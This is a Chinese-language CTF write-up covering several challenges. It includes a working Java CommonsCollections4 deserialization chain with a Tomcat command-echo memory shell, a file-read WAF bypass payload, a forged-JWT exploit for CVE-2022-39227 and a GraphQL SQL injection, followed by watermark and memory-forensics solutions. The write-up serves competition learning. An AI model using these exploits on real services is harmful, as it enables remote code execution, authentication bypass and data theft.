0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现 P O S T / m y T e s t 会出现反序列化漏洞
util ,最后好像没用到
检查程序，发现 a p a c h e 的 c o m m o n − c o l l e c t i o n s 4, 而且其反序列化利用类未被 P a t c h
一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打
考点发现就是 c c 4
附上文章
外加 s p r i n g − e c h 网上有现成的 p o c
造轮子！ :
package moe.orangemc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main (String[] args) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass( "Meow" );
byte [] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl ();
Field f1 = templates.getClass().getDeclaredField( "_name" );
Field f2 = templates.getClass().getDeclaredField( "_bytecodes" );
f1.setAccessible( true );
f2.setAccessible( true );
f1.set(templates, "Meow" );
f2.set(templates, new byte [][]{bytes});
Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer ( new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{templates}));
TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator <>(chainedTransformer);
PriorityQueue<Integer> queue = new PriorityQueue <>( 2 );
queue.add( 1 );
queue.add( 1 );
Field f = queue.getClass().getDeclaredField( "comparator" );
f.setAccessible( true );
f.set(queue, transformingComparator);
Field f3 = queue.getClass().getDeclaredField( "queue" );
f3.setAccessible( true );
f3.set(queue, new Object [] {chainedTransformer, chainedTransformer});
ByteArrayOutputStream baos = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream (baos);
oos.writeObject(queue);
oos.close();
String result = new String (Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
} 根据上文代码，发现无法回显，但根据百度发现可以利用 a p a c h e 的 c a t a l i n a 进行回显，同时程序包里有这个类库:
编写恶意类：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Meow extends AbstractTranslet {
public Meow () {
super ();
this .namesArray = new String []{ "meow" };
try {
java.lang.reflect. Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField( "context" );
java.lang.reflect. Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField( "service" );
java.lang.reflect. Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField( "req" );
java.lang.reflect. Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod( "getHandler" , null );
contextField.setAccessible( true );
serviceField.setAccessible( true );
requestField.setAccessible( true );
getHandlerMethod.setAccessible( true );
org.apache.catalina.loader. WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core. ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core. StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for ( int i= 0 ;i<connectors.length;i++) {
if ( 4 ==connectors[i].getScheme().length()) {
org.apache.coyote. ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for ( int j = 0 ; j < classes.length; j++) {
if ( 52 == (classes[j].getName().length())|| 60 == (classes[j].getName().length())) {
System.out.println(classes[j].getName());
java.lang.reflect. Field globalField = classes[j].getDeclaredField( "global" );
java.lang.reflect. Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField( "processors" );
globalField.setAccessible( true );
processorsField.setAccessible( true );
org.apache.coyote. RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null ));
java.util. List list = (java.util.List) processorsField.get(requestGroupInfo);
for ( int k = 0 ; k < list.size(); k++) {
org.apache.coyote. Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
System.out.println(tempRequest.getHeader( "tomcat" ));
org.apache.catalina.connector. Request request = (org.apache.catalina.connector.Request) tempRequest.getNote( 1 );
String cmd = "" + "cat /flag" + "" ;
String[] cmds = !System.getProperty( "os.name" ).toLowerCase().contains( "win" ) ? new String []{ "sh" , "-c" , cmd} : new String []{ "cmd.exe" , "/c" , cmd};
java.io. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util. Scanner s = new java .util.Scanner(in).useDelimiter( "\n" );
String output = s.hasNext() ? s.next() : "" ;
java.io. Writer writer = request.getResponse().getWriter();
java.lang.reflect. Field usingWriter = request.getResponse().getClass().getDeclaredField( "usingWriter" );
usingWriter.setAccessible( true );
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();
break ;
}
break ;
}
}
}
break ;
}
}
} catch (Exception e) {
}
}
@Override
public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版
https://github.com/Y4er/ysoserial
又试了下 cc4 结合 TomcatCmdEcho 内存马
java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64
发包时注意把 Content-Type 删掉
第二次发送的时候成功执行了命令
查看 flag
后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了
不过 java 内存马目前还没怎么研究, 找个时间仔细看一下
把我们所有的东西组合起来，即可获得 p a y l o a d ，但是注意要把最后的回车删掉，不然无法反序列化,然后就得到 f l a g .
2.RustWaf
/ s r c 得到 n o d e j s 源代码
通过源码可以看到路由分别有三个 、 、 / r e a d f i l e 、 / 、 / s r c
并且可以通过源码知道我们操作的地方再 / r e a d f i l e 并且定义了直接 p o s t 传再 b o d y
其实这个就是利用 f s 的函数，这个刷过 c t f s h o w 的同学都知道，可以读文件
const express = require ( 'express' );
const app = express ();
const bodyParser = require ( "body-parser" )
const fs = require ( "fs" )
app. use (bodyParser. text ({ type : '*/*' }));
const { execFileSync } = require ( 'child_process' );
app. post ( '/readfile' , function ( req, res ) {
let body = req. body . toString ();
let file_to_read = "app.js" ;
const file = execFileSync ( '/app/rust-waf' , [body], {
encoding : 'utf-8'
}). trim ();
try {
file_to_read = JSON . parse (file)
} catch (e){
file_to_read = file
}
let data = fs. readFileSync (file_to_read);
res. send (data. toString ());
});
app. get ( '/' , function ( req, res ) {
res. send ( 'see `/src`' );
});
app. get ( '/src' , function ( req, res ) {
var data = fs. readFileSync ( 'app.js' );
res. send (data. toString ());
});
app. listen ( 3000 , function () {
console . log ( 'start listening on port 3000' );
}); 代码比较简单，重点就是在 / r e a d f i l e 目录下读取文件，而会直接从 p o s t − b o d y 获取文件名，测试读 取 / e t c / p a s s w d 成功
但是读取 f l a g 的时候没有成功，返回了 r u s t 的代码。可以发现如果 p a y l o a d 中包含 f l a g 或者 p r o c 就会直接返回文件内容，如果绕过了再判断 p a y l o a d 如果是 j s o n 格式，那么是否存在 k e y 为 p r o t o c o l ，如果存在也直接返回文件内容
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: & str = "protocol" ;
#[derive(Debug, Serialize, Deserialize)]
struct File {
#[serde(default = "default_protocol" )]
pub protocol: String ,
pub href: String ,
pub origin: String ,
pub pathname: String ,
pub hostname: String
}
pub fn default_protocol () -> String {
"http" . to_string ()
}
pub fn waf (body: & str ) -> String {
if body. to_lowercase (). contains ( "flag" ) ||
body. to_lowercase (). contains ( "proc" ){
return String:: from ( "./main.rs" );
}
pub fn waf (body: & str ) -> String {
if body. to_lowercase (). contains ( "flag" ) ||
body. to_lowercase (). contains ( "proc" ){
return String:: from ( "./main.rs" );
}
if let Ok (json_body) = serde_json::from_str::<Value>(body) {
if let Some (json_body_obj) = json_body. as_object () {
if json_body_obj. keys (). any (|key| key == BLACK_PROPERTY) {
return String:: from ( "./main.rs" );
}
}
if let Ok (file) = serde_json::from_str::<File>(body) {
return serde_json:: to_string (&file). unwrap_or (String:: from ( "./main.rs" ));
}
} else {
return String:: from (body);
}
return String:: from ( "./main.rs" );
}
fn main () {
let args : Vec < String > = env:: args (). collect ();
println! ( "{}" , waf (&args[ 1 ]));
} 发现 c o r c t f 的某道题和这道题类似，也是绕过 f s . r e a d f i l e S y n c
链接
链接2
将 p a y l o a d 以 j s o n 格式传，但是这里用到的 p a y l o a d 中存在 p r o t o c o l 导致 r u s t 能检测到，要利用 u n i c o d e 绕过。
最终 p a y l o a d :
{ "hostname" : "" , "pathname" : "/fl%61g" , "protocol" : "file:" , "origin" : "fuckyou" , "pr\ud800otocol" : "file:" , "href" : "fuckyou" } 得到 f l a g
3.FunWEB 赶在题目环境关闭前问了下学长思路然后复现了一波
题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227
https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
具体的 exp 在 commit 记录里面, 需要自己手动改
from datetime import timedelta
from json import loads , dumps
from jwcrypto.common import base64url_decode , base64url_encode
def topic ( topic ):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[ header , payload , signature ] = topic . split ( '.' )
parsed_payload = loads ( base64url_decode ( payload ))
parsed_payload [ 'is_admin' ] = 1
parsed_payload [ 'exp' ] = 2000000000
fake_payload = base64url_encode (( dumps ( parsed_payload , separators = ( ',' , ':' ))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic ( 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g' )
print ( token )
这里注册一个 123/123 用户, 然后用网站给的 token 来打
注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型
之后直接把输出复制到 cookie 里, 再访问 /getflag
提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询
参考文章
https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/
https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/
根据输出的意思, 改成 getscoreusingid
graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入
id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname
改成 getscoreusingnamehahaha
union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password
{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --" ) { name score } }
拿着 admin 的密码去登录, 点击查看 flag
0x02 MISC 1.0o0o0 文件尾是pk，然后伪加密可以解开
一个混淆脚本，要解混淆
from secret import o0o0o0_formula
o0000o0000 = np.float32(cv2.imread('0000.bmp', 0))
o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0))
o0o0o0o0o0 = o0000o0000
for i in range(o0000o0000.shape[0]//8): # 0-64
for j in range(o0000o0000.shape[1]//8): # 0-64
o0oo000oo0 = int(o0000o0000.shape[0] / 8)
o000000000 = int(o0000o0000.shape[1] / 8)
o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1]
o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000))
o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8])
for ooooooooo in range(o0ooooooo0):
x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo
o000ooo000 = o00o0o0o00[x, y]
o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y]
oo0o0 = secret([i, ooooooooo, random.randint(0, 10)])
oo000 = secret([j, ooooooooo, random.randint(0, 10)])
if o000ooo000 <= o0o0o0o0o0o:
o0oo000oo0oo = random.randint(24, 36)
else:
o0oo000oo0oo = random.randint(-24, -12)
o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo)
o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2)
o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00)
cv2.imwrite("0o0o0.bmp", o0o0o0o0o0) 实际上就是照着把变量换一便就行了，大概这样
import secrets
import numpy as np
img = np.float32(cv2.imread('0000.bmp', 0))
water = np.float32(cv2.imread('oooo.bmp', 0))
pic = img
for i in range(img.shape[0]//8):
for j in range(img.shape[1]//8):
a = int(img.shape[0] / 8)
b = int(img.shape[1] / 8)
num = water.shape[0] * water.shape[1]
r = math.ceil(num / (a * b))
dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8])
for m in range(r):
rx,ry = r-m,r+m
r1 = dct[rx,ry]
r2 = dct[8-rx,8-ry]
n1 = secret([i,m, random.randint(0, 10)])
n2 = secret([i,m, random.randint(0, 10)])
if r1<=r2:
k = random.randint(24,36)
else:
k = random.randint(-24, -12)
dct[8-rx,8-ry] = float(k)
dct[rx,ry] += float((water[m][m] - 128)*2)
pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct)
cv2.imwrite("0o0o0.bmp", pic)
ok，然后看看代码，
首先coploit非常牛逼，直接自动补全是dct域变换相关了，所以说这里直接也不用去想是什么算法相关了，网上脚本不太行，搜了下相关论文，还可以
一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com)
然后具体更多细节内容在secert中，这里我们要结合论文内容进行分析
过一遍，r=4，然后把128的内容写入512内，之后进行8×8的分块，然后每个块需要4像素才可以全部隐藏。
计算获得
n1 = i*2+m*2
n2 = j*2+m//2
编写dct空域解密脚本
import numpy as np
import cv2
from PIL import Image
img1 = cv2.imread('0o0o0.bmp')
img1 = img1.astype('float32')
img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
w,h = 128,128
r = 4
water = Image.new('L', (w, h), 255)
res = []
a = int(img2.shape[0] / 8)
b = int(img2.shape[1] / 8)
for i in range(a):
for j in range(b):
dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8])
for m in range(r):
rx,ry = 4-m,4+m
r1 = dct[rx,ry]
r2 = dct[7-rx,7-ry]
if r1>r2:
water.putpixel((i*2+m%2,j*2+m//2),0)
res.append(0)
else:
water.putpixel((i*2+m%2,j*2+m//2),255)
res.append(1)
print(res)
water.show() 获得图片
读取，转ascii码，发现结果不对，尝试xor了一下0xff，获得flag
from PIL import Image
im = Image.open("water.bmp")
im = im.convert("L")
w,h = im.size
flag = []
k = 0
for i in range(h):
for j in range(w):
if im.getpixel((j,i)) != 255:
k += 1
else:
flag.append(k)
k = 1
for i in flag:
print(chr(i^0xff),end="") 2.strange_forensics linux内存取证，基本上strings都能做，一步一步来
直接strings flag，发现了flag3
flag1说是用户的密码，总所周知linux密码存在/etc/shadow文件内，当然字符串那么多也不怎么好找，还是看看，随处可见的bob
那么bob也肯定就是明文存储在shadow里面了，看看shadow文件结构
用户名后跟冒号加$符号，直接搜索
找到了，直接丢入cmd5查询，获得flag1 890topico
然后flag2是个问题，继续寻找，尝试搜索Desktop等关键字，发现盲点，一个secret.zip的文件
010搜索zip的文件头，翻到最后发现了zip文件。
提取出来，是个伪解密，改下加密头00-》09进行爆破，
最后获得密码123456
拼接起来，最终flag
890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER
补充 实际上使用vol做map解出来的捏，可惜查找文件效率实属感人，
写wp就懒得再做一遍了，strings大法好
3.lena 水印，宇宙无敌超级大套娃，把关键内容基本都加了备注，混淆就是审计起来麻烦，其他的也没什么了，备注好各个功能就行，反正都是套娃，相互调用就行了，该题目使用的混淆工具
Oxyry Python Obfuscator – The most reliable python obfuscator in the world
import cv2
import pywt
import numpy as np
from reedsolo import RSCodec
#猫眼变换
def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O):
O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O
O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape)
OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2]
for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO):
for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO):
for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO):
O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 +
OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO
OOO00000OOO0O0O00 = (
OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 +
(OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO
O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000,
O0OO0OO00OO0O00O0]
OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy()
return O0OO0OOO0OO0O0O0O
#b,分块,与c对应
def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00):
O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2]
OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00
OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00,
OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)
O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array(
[O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1])
OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO,
O0OO0OOO0OOOO0O00).astype('float64')
OO0OO0O0OO0OO0O0O = np.reshape(
OO0OO0O0OO0OO0O0O,
(OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00))
return OO0OO0O0OO0OO0O0O
#c 合块,与b对应
def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00):
O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2]
OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:]
OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0,
OOOOO0000O0OO00OO, OOOO00O0OOO0000O0)
O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO)
OOOOO00O0O00OO00O = []
for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O:
OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1))
OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0)
return OO00O0OO0O000OOOO
#二值化用,
def d(OO00OOOO00000O000):
O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8')
return O0O0000000000O00O
#套娃变换,μ律
def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O):
return np.log(1 + O0OOOOOO00OO00O0O *
(np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O)
#套娃里面的μ律逆变换
def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O):
return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1
)
#也是套娃的,QIM
def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO):
O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO +
(-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000
return O000O000OOOOO0OOO
class Watermark:
def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000):
#初始变量定义,都是self
O0O0OOO0O0O000000.block_shape = 4
O0O0OOO0O0O000000.arnold_factor = (6, 20, 22)
O0O0OOO0O0O000000.rsc_factor = 100
O0O0OOO0O0O000000.mu_law_mu = 100
O0O0OOO0O0O000000.mu_law_X_max = 8000
O0O0OOO0O0O000000.delta = 15
O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32')
O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2]
O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2
O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2
O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape
O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape
O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width
O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8
O0O0OOO0O0O000000.rsc_size = len(
RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size))
#补数
def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0):
OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten()
if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size:
OO00O0O0O0O0000OO = np.hstack(
(OO00O0O0O0O0000OO,
np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8')
return OO00O0O0O0O0000OO
#字节压缩转换
def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO):
OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes()
return OOOO0OOO00O00OOOO
#字节解压转换
def j(O0O0O0O0O0O00000O, O0O00OOO00000O000):
OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8'))
if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size:
OOO0OOOO0O000O0OO = np.hstack(
(OOO0OOOO0O000O0OO,
np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8')
return OOO0OOOO0O000O0OO
#屎山套娃...上面的efg都在里面.
def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO):
O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy()
for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0):
OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0]
O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO)
OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O)
OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0)
OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max,
OO00000O0OO0OO000.mu_law_mu)
OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta)
O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max,
OO00000O0OO0OO000.mu_law_mu)
for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape):
if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO:
OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0
O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)),
OO0OO0OOOO000OO0O)
O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O)
O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000
return O00O0OOO00OO0OO00
#关键内容,最终变换....
def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO):
OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换
OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00) #进行二值化
O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO) #补
OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0) #转换为字节
OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor) #纠错
O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节
OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组
O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:]) #压缩数组
O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb) #转换为YCrCb
OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO) #分离通道
O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar') #小波变换
O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar') #小波变换
OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O,
(OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00,
(OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO) #DCT套娃变换
O000OOOO0000OOO00 = c(O00000OO0O00O0O0O,
(OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换
O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO,
(OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar') #小波逆变换
O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar') #小波逆变换
O0OO000O0000000O0 = cv2.merge(
[OOO000O00O000OO0O,
OOO00O0OOO00OO0OO.astype('float32'),
O00OOO000O00OO0OO.astype('float32')])
O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR
return O0OO0000000OO00O0
if __name__ == '__main__':
carrier = cv2.imread('test_images/lena.png')
